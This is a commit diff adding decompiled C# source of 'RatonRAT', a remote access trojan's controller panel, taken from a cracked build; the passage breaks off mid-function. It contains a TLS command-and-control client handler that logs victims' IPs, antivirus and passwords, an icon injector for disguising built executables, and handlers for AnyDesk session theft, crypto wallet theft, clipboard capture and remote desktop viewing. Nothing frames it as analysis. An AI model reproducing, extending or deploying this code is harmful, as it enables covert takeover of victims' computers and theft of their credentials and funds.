initial commit
This commit is contained in:
@@ -0,0 +1,169 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Classes.ResourceModifier
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Classes;
|
||||
|
||||
public static class ResourceModifier
|
||||
{
|
||||
public static void ChangeIcon(string exeFileName, string iconFileName)
|
||||
{
|
||||
ResourceModifier.InjectIcon(exeFileName, iconFileName, 1U, 1U);
|
||||
}
|
||||
|
||||
public static void InjectIcon(
|
||||
string exeFileName,
|
||||
string iconFileName,
|
||||
uint iconGroupID,
|
||||
uint iconBaseID)
|
||||
{
|
||||
ResourceModifier.IconFile iconFile = ResourceModifier.IconFile.FromFile(iconFileName);
|
||||
IntPtr hUpdate = ResourceModifier.NativeMethods.BeginUpdateResource(exeFileName, false);
|
||||
byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID);
|
||||
ResourceModifier.NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr((long) iconGroupID), (short) 0, iconGroupData, iconGroupData.Length);
|
||||
for (int index = 0; index <= iconFile.ImageCount - 1; ++index)
|
||||
{
|
||||
byte[] data = iconFile.ImageData(index);
|
||||
ResourceModifier.NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr((long) iconBaseID + (long) index), (short) 0, data, data.Length);
|
||||
}
|
||||
ResourceModifier.NativeMethods.EndUpdateResource(hUpdate, false);
|
||||
}
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
private class NativeMethods
|
||||
{
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool UpdateResource(
|
||||
IntPtr hUpdate,
|
||||
IntPtr type,
|
||||
IntPtr name,
|
||||
short language,
|
||||
[MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data,
|
||||
int dataSize);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
|
||||
}
|
||||
|
||||
private struct ICONDIR
|
||||
{
|
||||
public ushort Reserved;
|
||||
public ushort Type;
|
||||
public ushort Count;
|
||||
}
|
||||
|
||||
private struct ICONDIRENTRY
|
||||
{
|
||||
public byte Width;
|
||||
public byte Height;
|
||||
public byte ColorCount;
|
||||
public byte Reserved;
|
||||
public ushort Planes;
|
||||
public ushort BitCount;
|
||||
public int BytesInRes;
|
||||
public int ImageOffset;
|
||||
}
|
||||
|
||||
private struct BITMAPINFOHEADER
|
||||
{
|
||||
public uint Size;
|
||||
public int Width;
|
||||
public int Height;
|
||||
public ushort Planes;
|
||||
public ushort BitCount;
|
||||
public uint Compression;
|
||||
public uint SizeImage;
|
||||
public int XPelsPerMeter;
|
||||
public int YPelsPerMeter;
|
||||
public uint ClrUsed;
|
||||
public uint ClrImportant;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 2)]
|
||||
private struct GRPICONDIRENTRY
|
||||
{
|
||||
public byte Width;
|
||||
public byte Height;
|
||||
public byte ColorCount;
|
||||
public byte Reserved;
|
||||
public ushort Planes;
|
||||
public ushort BitCount;
|
||||
public int BytesInRes;
|
||||
public ushort ID;
|
||||
}
|
||||
|
||||
private class IconFile
|
||||
{
|
||||
private ResourceModifier.ICONDIR iconDir;
|
||||
private ResourceModifier.ICONDIRENTRY[] iconEntry;
|
||||
private byte[][] iconImage;
|
||||
|
||||
public int ImageCount => (int) this.iconDir.Count;
|
||||
|
||||
public byte[] ImageData(int index) => this.iconImage[index];
|
||||
|
||||
public static ResourceModifier.IconFile FromFile(string filename)
|
||||
{
|
||||
ResourceModifier.IconFile iconFile = new ResourceModifier.IconFile();
|
||||
byte[] src = File.ReadAllBytes(filename);
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) src, GCHandleType.Pinned);
|
||||
iconFile.iconDir = (ResourceModifier.ICONDIR) Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), typeof (ResourceModifier.ICONDIR));
|
||||
iconFile.iconEntry = new ResourceModifier.ICONDIRENTRY[(int) iconFile.iconDir.Count];
|
||||
iconFile.iconImage = new byte[(int) iconFile.iconDir.Count][];
|
||||
int num1 = Marshal.SizeOf<ResourceModifier.ICONDIR>(iconFile.iconDir);
|
||||
Type type = typeof (ResourceModifier.ICONDIRENTRY);
|
||||
int num2 = Marshal.SizeOf(type);
|
||||
for (int index = 0; index <= (int) iconFile.iconDir.Count - 1; ++index)
|
||||
{
|
||||
ResourceModifier.ICONDIRENTRY structure = (ResourceModifier.ICONDIRENTRY) Marshal.PtrToStructure(new IntPtr(gcHandle.AddrOfPinnedObject().ToInt64() + (long) num1), type);
|
||||
iconFile.iconEntry[index] = structure;
|
||||
iconFile.iconImage[index] = new byte[structure.BytesInRes];
|
||||
Buffer.BlockCopy((Array) src, structure.ImageOffset, (Array) iconFile.iconImage[index], 0, structure.BytesInRes);
|
||||
num1 += num2;
|
||||
}
|
||||
gcHandle.Free();
|
||||
return iconFile;
|
||||
}
|
||||
|
||||
public byte[] CreateIconGroupData(uint iconBaseID)
|
||||
{
|
||||
byte[] iconGroupData = new byte[Marshal.SizeOf(typeof (ResourceModifier.ICONDIR)) + Marshal.SizeOf(typeof (ResourceModifier.GRPICONDIRENTRY)) * this.ImageCount];
|
||||
GCHandle gcHandle1 = GCHandle.Alloc((object) iconGroupData, GCHandleType.Pinned);
|
||||
Marshal.StructureToPtr<ResourceModifier.ICONDIR>(this.iconDir, gcHandle1.AddrOfPinnedObject(), false);
|
||||
int num = Marshal.SizeOf<ResourceModifier.ICONDIR>(this.iconDir);
|
||||
for (int index = 0; index <= this.ImageCount - 1; ++index)
|
||||
{
|
||||
ResourceModifier.GRPICONDIRENTRY structure = new ResourceModifier.GRPICONDIRENTRY();
|
||||
ResourceModifier.BITMAPINFOHEADER bitmapinfoheader = new ResourceModifier.BITMAPINFOHEADER();
|
||||
GCHandle gcHandle2 = GCHandle.Alloc((object) bitmapinfoheader, GCHandleType.Pinned);
|
||||
Marshal.Copy(this.ImageData(index), 0, gcHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof (ResourceModifier.BITMAPINFOHEADER)));
|
||||
gcHandle2.Free();
|
||||
structure.Width = this.iconEntry[index].Width;
|
||||
structure.Height = this.iconEntry[index].Height;
|
||||
structure.ColorCount = this.iconEntry[index].ColorCount;
|
||||
structure.Reserved = this.iconEntry[index].Reserved;
|
||||
structure.Planes = bitmapinfoheader.Planes;
|
||||
structure.BitCount = bitmapinfoheader.BitCount;
|
||||
structure.BytesInRes = this.iconEntry[index].BytesInRes;
|
||||
structure.ID = Convert.ToUInt16((long) iconBaseID + (long) index);
|
||||
Marshal.StructureToPtr<ResourceModifier.GRPICONDIRENTRY>(structure, new IntPtr(gcHandle1.AddrOfPinnedObject().ToInt64() + (long) num), false);
|
||||
num += Marshal.SizeOf(typeof (ResourceModifier.GRPICONDIRENTRY));
|
||||
}
|
||||
gcHandle1.Free();
|
||||
return iconGroupData;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Connection.SillyClient
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Buffers;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Connection;
|
||||
|
||||
public sealed class SillyClient
|
||||
{
|
||||
public const int OneMb = 1048576 /*0x100000*/;
|
||||
public const int MaxPacketSize = 5242880 /*0x500000*/;
|
||||
private const int WorkerCount = 6;
|
||||
private const int QueueCap = 5000;
|
||||
private const int IdleMs = 120000;
|
||||
private const int MaxPPS = 1000;
|
||||
private int pingStarted;
|
||||
private CancellationTokenSource pingCts;
|
||||
private readonly TcpClient tcpClient;
|
||||
private readonly SslStream sslStream;
|
||||
private readonly CancellationTokenSource cts = new CancellationTokenSource();
|
||||
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
|
||||
private readonly byte[] sizeBuf = new byte[4];
|
||||
private readonly Timer idleTimer;
|
||||
private readonly BlockingCollection<byte[]> queue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
|
||||
private int disconnectedFlag;
|
||||
private int packetsThisSecond;
|
||||
private int rateWindowStart;
|
||||
public readonly ConcurrentDictionary<string, bool> EndSent = new ConcurrentDictionary<string, bool>();
|
||||
public readonly ConcurrentDictionary<string, DateTime> LastChunkSent = new ConcurrentDictionary<string, DateTime>();
|
||||
public readonly ConcurrentDictionary<string, int> RetryCount = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, int> ChunksAcked = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, int> TotalChunksById = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, byte[]> DllBytesById = new ConcurrentDictionary<string, byte[]>();
|
||||
public readonly ConcurrentDictionary<string, string> DllHashById = new ConcurrentDictionary<string, string>();
|
||||
|
||||
public string uid { get; set; }
|
||||
|
||||
public string password { get; set; }
|
||||
|
||||
public ClientRow ClientModel { get; set; }
|
||||
|
||||
public event Action<SillyClient> Disconnected;
|
||||
|
||||
public SillyClient(TcpClient tcp, SslStream ssl)
|
||||
{
|
||||
this.tcpClient = tcp;
|
||||
this.sslStream = ssl;
|
||||
this.tcpClient.NoDelay = true;
|
||||
SillyClient.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
|
||||
this.rateWindowStart = Environment.TickCount;
|
||||
this.idleTimer = new Timer((TimerCallback) (_ => this.Disconnect()), (object) null, 120000, -1);
|
||||
Task.Run(new Func<Task>(this.ReceiveLoop));
|
||||
for (int index = 0; index < 6; ++index)
|
||||
Task.Run(new Func<Task>(this.WorkerLoop));
|
||||
}
|
||||
|
||||
public void EnsurePingLoop()
|
||||
{
|
||||
if (Interlocked.Exchange(ref this.pingStarted, 1) != 0)
|
||||
return;
|
||||
this.pingCts = new CancellationTokenSource();
|
||||
Task.Run((Func<Task>) (() => this.PingLoop(this.pingCts.Token)));
|
||||
}
|
||||
|
||||
private async Task PingLoop(CancellationToken token)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
ConfiguredTaskAwaitable configuredTaskAwaitable = Task.Delay(20000, token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
if (!this.isConnected())
|
||||
break;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Ping");
|
||||
pack.SetString("Message", "From Server: Hello!");
|
||||
configuredTaskAwaitable = this.Send(pack.Pacc()).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
Interlocked.Exchange(ref this.pingStarted, 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
|
||||
{
|
||||
byte[] optionInValue = new byte[12];
|
||||
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
|
||||
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
|
||||
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
|
||||
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
|
||||
}
|
||||
|
||||
private async Task ReceiveLoop()
|
||||
{
|
||||
SillyClient sillyClient1 = this;
|
||||
try
|
||||
{
|
||||
while (!sillyClient1.cts.IsCancellationRequested)
|
||||
{
|
||||
await sillyClient1.ReadExact(sillyClient1.sizeBuf, 4).ConfigureAwait(false);
|
||||
int len = BitConverter.ToInt32(sillyClient1.sizeBuf, 0);
|
||||
if (len <= 0 || len > 5242880 /*0x500000*/)
|
||||
throw new IOException($"Invalid packet size: {len}");
|
||||
int tickCount = Environment.TickCount;
|
||||
if (tickCount - sillyClient1.rateWindowStart >= 1000)
|
||||
{
|
||||
sillyClient1.rateWindowStart = tickCount;
|
||||
sillyClient1.packetsThisSecond = 0;
|
||||
}
|
||||
SillyClient sillyClient2 = sillyClient1;
|
||||
int num1 = sillyClient1.packetsThisSecond + 1;
|
||||
int num2 = num1;
|
||||
sillyClient2.packetsThisSecond = num2;
|
||||
if (num1 > 1000)
|
||||
throw new IOException("Rate limit exceeded");
|
||||
MainWindow form2 = MainWindow.form2;
|
||||
if (form2 != null)
|
||||
Interlocked.Add(ref form2.received, (long) len);
|
||||
byte[] rented = ArrayPool<byte>.Shared.Rent(len);
|
||||
try
|
||||
{
|
||||
await sillyClient1.ReadExact(rented, len).ConfigureAwait(false);
|
||||
byte[] dst = new byte[len];
|
||||
Buffer.BlockCopy((Array) rented, 0, (Array) dst, 0, len);
|
||||
sillyClient1.idleTimer.Change(120000, -1);
|
||||
if (!sillyClient1.queue.IsAddingCompleted)
|
||||
{
|
||||
if (!sillyClient1.queue.TryAdd(dst, 2000))
|
||||
throw new IOException("Packet queue saturated");
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
ArrayPool<byte>.Shared.Return(rented);
|
||||
}
|
||||
rented = (byte[]) null;
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
}
|
||||
catch
|
||||
{
|
||||
await sillyClient1.Disconnect().ConfigureAwait(false);
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
sillyClient1.queue.CompleteAdding();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Task WorkerLoop()
|
||||
{
|
||||
return Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
SillyClient sillyClient = this;
|
||||
try
|
||||
{
|
||||
foreach (byte[] consuming in sillyClient.queue.GetConsumingEnumerable(sillyClient.cts.Token))
|
||||
{
|
||||
try
|
||||
{
|
||||
await new HandlePacket()
|
||||
{
|
||||
SillyClient = sillyClient,
|
||||
packet = consuming
|
||||
}.Run((object) null).ConfigureAwait(false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) $"Worker fatal ({sillyClient.uid}): {ex.Message}");
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
private async Task ReadExact(byte[] buffer, int length)
|
||||
{
|
||||
int num;
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
|
||||
{
|
||||
for (int read = 0; read < length; read += num)
|
||||
{
|
||||
num = await this.sslStream.ReadAsync(buffer, read, length - read, linked.Token).ConfigureAwait(false);
|
||||
if (num <= 0)
|
||||
throw new IOException("Remote endpoint closed");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public async Task Send(byte[] data)
|
||||
{
|
||||
if (this.disconnectedFlag == 1 || data == null || data.Length == 0)
|
||||
return;
|
||||
await this.sendLock.WaitAsync().ConfigureAwait(false);
|
||||
try
|
||||
{
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
|
||||
{
|
||||
MainWindow stats = MainWindow.form2;
|
||||
byte[] size = BitConverter.GetBytes(data.Length);
|
||||
await this.sslStream.WriteAsync(size, 0, size.Length, linked.Token).ConfigureAwait(false);
|
||||
if (stats != null)
|
||||
Interlocked.Add(ref stats.sent, (long) size.Length);
|
||||
int chunk;
|
||||
for (int offset = 0; offset < data.Length; offset += chunk)
|
||||
{
|
||||
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
|
||||
await this.sslStream.WriteAsync(data, offset, chunk, linked.Token).ConfigureAwait(false);
|
||||
if (stats != null)
|
||||
Interlocked.Add(ref stats.sent, (long) chunk);
|
||||
}
|
||||
stats = (MainWindow) null;
|
||||
size = (byte[]) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
await this.Disconnect().ConfigureAwait(false);
|
||||
}
|
||||
finally
|
||||
{
|
||||
this.sendLock.Release();
|
||||
}
|
||||
}
|
||||
|
||||
public Task Disconnect() => this.DisconnectInternal();
|
||||
|
||||
private async Task DisconnectInternal()
|
||||
{
|
||||
SillyClient sillyClient = this;
|
||||
if (Interlocked.Exchange(ref sillyClient.disconnectedFlag, 1) != 0)
|
||||
return;
|
||||
try
|
||||
{
|
||||
sillyClient.pingCts?.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.idleTimer?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.queue.CompleteAdding();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.cts.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.sslStream?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.tcpClient?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await sillyClient.UpdateUI().ConfigureAwait(false);
|
||||
Action<SillyClient> disconnected = sillyClient.Disconnected;
|
||||
if (disconnected == null)
|
||||
return;
|
||||
disconnected(sillyClient);
|
||||
}
|
||||
|
||||
private Task UpdateUI()
|
||||
{
|
||||
MainWindow panel = MainWindow.form2;
|
||||
return panel == null || this.ClientModel == null ? Task.CompletedTask : panel.Dispatcher.InvokeAsync((Action) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
ClientStorage.Add(new StoredClient()
|
||||
{
|
||||
UID = this.uid,
|
||||
Password = this.password,
|
||||
IP = this.ClientModel.Client,
|
||||
Group = this.ClientModel.Tag,
|
||||
UserMachine = this.ClientModel.User,
|
||||
OS = this.ClientModel.OS,
|
||||
Version = this.ClientModel.Version,
|
||||
Executing = this.ClientModel.Running,
|
||||
AV = this.ClientModel.AV,
|
||||
Status = this.ClientModel.Status,
|
||||
Clock = this.ClientModel.Date,
|
||||
Payload = this.ClientModel.Payload,
|
||||
Country = (string) null
|
||||
});
|
||||
this.ClientModel.Status = "Disconnected";
|
||||
panel.ClientsGrid.Items.Refresh();
|
||||
panel.AddErrorLog((object) $"Client {this.ClientModel.Client} disconnected");
|
||||
int num1 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
|
||||
int num2 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
|
||||
panel.StatOnline.Text = num1.ToString();
|
||||
panel.StatOffline.Text = num2.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
})).Task;
|
||||
}
|
||||
|
||||
public bool isConnected()
|
||||
{
|
||||
if (this.disconnectedFlag != 0)
|
||||
return false;
|
||||
TcpClient tcpClient = this.tcpClient;
|
||||
return tcpClient != null && tcpClient.Connected;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleAnydesk
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleAnydesk
|
||||
{
|
||||
public HandleAnydesk(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonAnyDesk ratonTelegram = (ratonAnyDesk) Application.OpenForms["Anydesk | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the anydesk session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nAnydesk stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleChat
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleChat
|
||||
{
|
||||
public HandleChat(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonChat formChat = (ratonChat) Application.OpenForms["Chat | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (formChat == null)
|
||||
return;
|
||||
if (formChat.SillyClient == null)
|
||||
formChat.SillyClient = SillyClient;
|
||||
formChat.Invoke((Delegate) (() =>
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem(unpack.GetAsString("Message"));
|
||||
listViewItem.ImageIndex = 0;
|
||||
formChat.aeroListView1.Items.Add(listViewItem);
|
||||
listViewItem.EnsureVisible();
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleClipboard
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleClipboard
|
||||
{
|
||||
public HandleClipboard(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
ratonClipboard clipboard = (ratonClipboard) Application.OpenForms["Clipboard | Client ID: " + msgUnpack.GetAsString("UID")];
|
||||
if (clipboard == null)
|
||||
return;
|
||||
if (clipboard.SillyClient == null)
|
||||
clipboard.SillyClient = SillyClient;
|
||||
clipboard.Invoke((Delegate) (() =>
|
||||
{
|
||||
clipboard.textBox1.Text = msgUnpack.GetAsString("Text");
|
||||
clipboard.textBox1.ForeColor = System.Drawing.Color.White;
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the client clipboard", (object) System.Drawing.Color.LightGreen)));
|
||||
}));
|
||||
Notification.Show($"RatonRAT • {msgUnpack.GetAsString("UID")}\nClipboard has been loaded", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleCrypto
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleCrypto
|
||||
{
|
||||
public HandleCrypto(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonCrypto ratonTelegram = (ratonCrypto) Application.OpenForms["Crypto | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the crypto .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nCrypto stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleDesktop
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleDesktop
|
||||
{
|
||||
private bool screensSaved;
|
||||
|
||||
public void Run(SillyClient client, Unpack unpack)
|
||||
{
|
||||
if (unpack.GetAsString("Packet") != "RemoteDesktop")
|
||||
return;
|
||||
string asString = unpack.GetAsString("Action");
|
||||
string uid = unpack.GetAsString("UID");
|
||||
ratonDesktop form = (ratonDesktop) null;
|
||||
if (Application.OpenForms.Count > 0)
|
||||
{
|
||||
Form openForm = Application.OpenForms[0];
|
||||
if (openForm.InvokeRequired)
|
||||
openForm.Invoke((Delegate) (() => form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed))));
|
||||
else
|
||||
form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed));
|
||||
}
|
||||
if (form == null)
|
||||
return;
|
||||
if (form.SillyClient == null)
|
||||
form.SillyClient = client;
|
||||
if (asString == "Screens")
|
||||
this.HandleScreens(form, unpack);
|
||||
if (!(asString == "Frame"))
|
||||
return;
|
||||
this.HandleFrame(form, unpack);
|
||||
}
|
||||
|
||||
private void HandleScreens(ratonDesktop form, Unpack unpack)
|
||||
{
|
||||
if (this.screensSaved)
|
||||
return;
|
||||
int screens;
|
||||
try
|
||||
{
|
||||
screens = unpack.GetAsInteger("Screens");
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
form.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
form.flatComboBox1.Items.Clear();
|
||||
for (int index = 0; index < screens; ++index)
|
||||
form.flatComboBox1.Items.Add((object) ("RatonScreen_" + index.ToString()));
|
||||
if (screens > 0)
|
||||
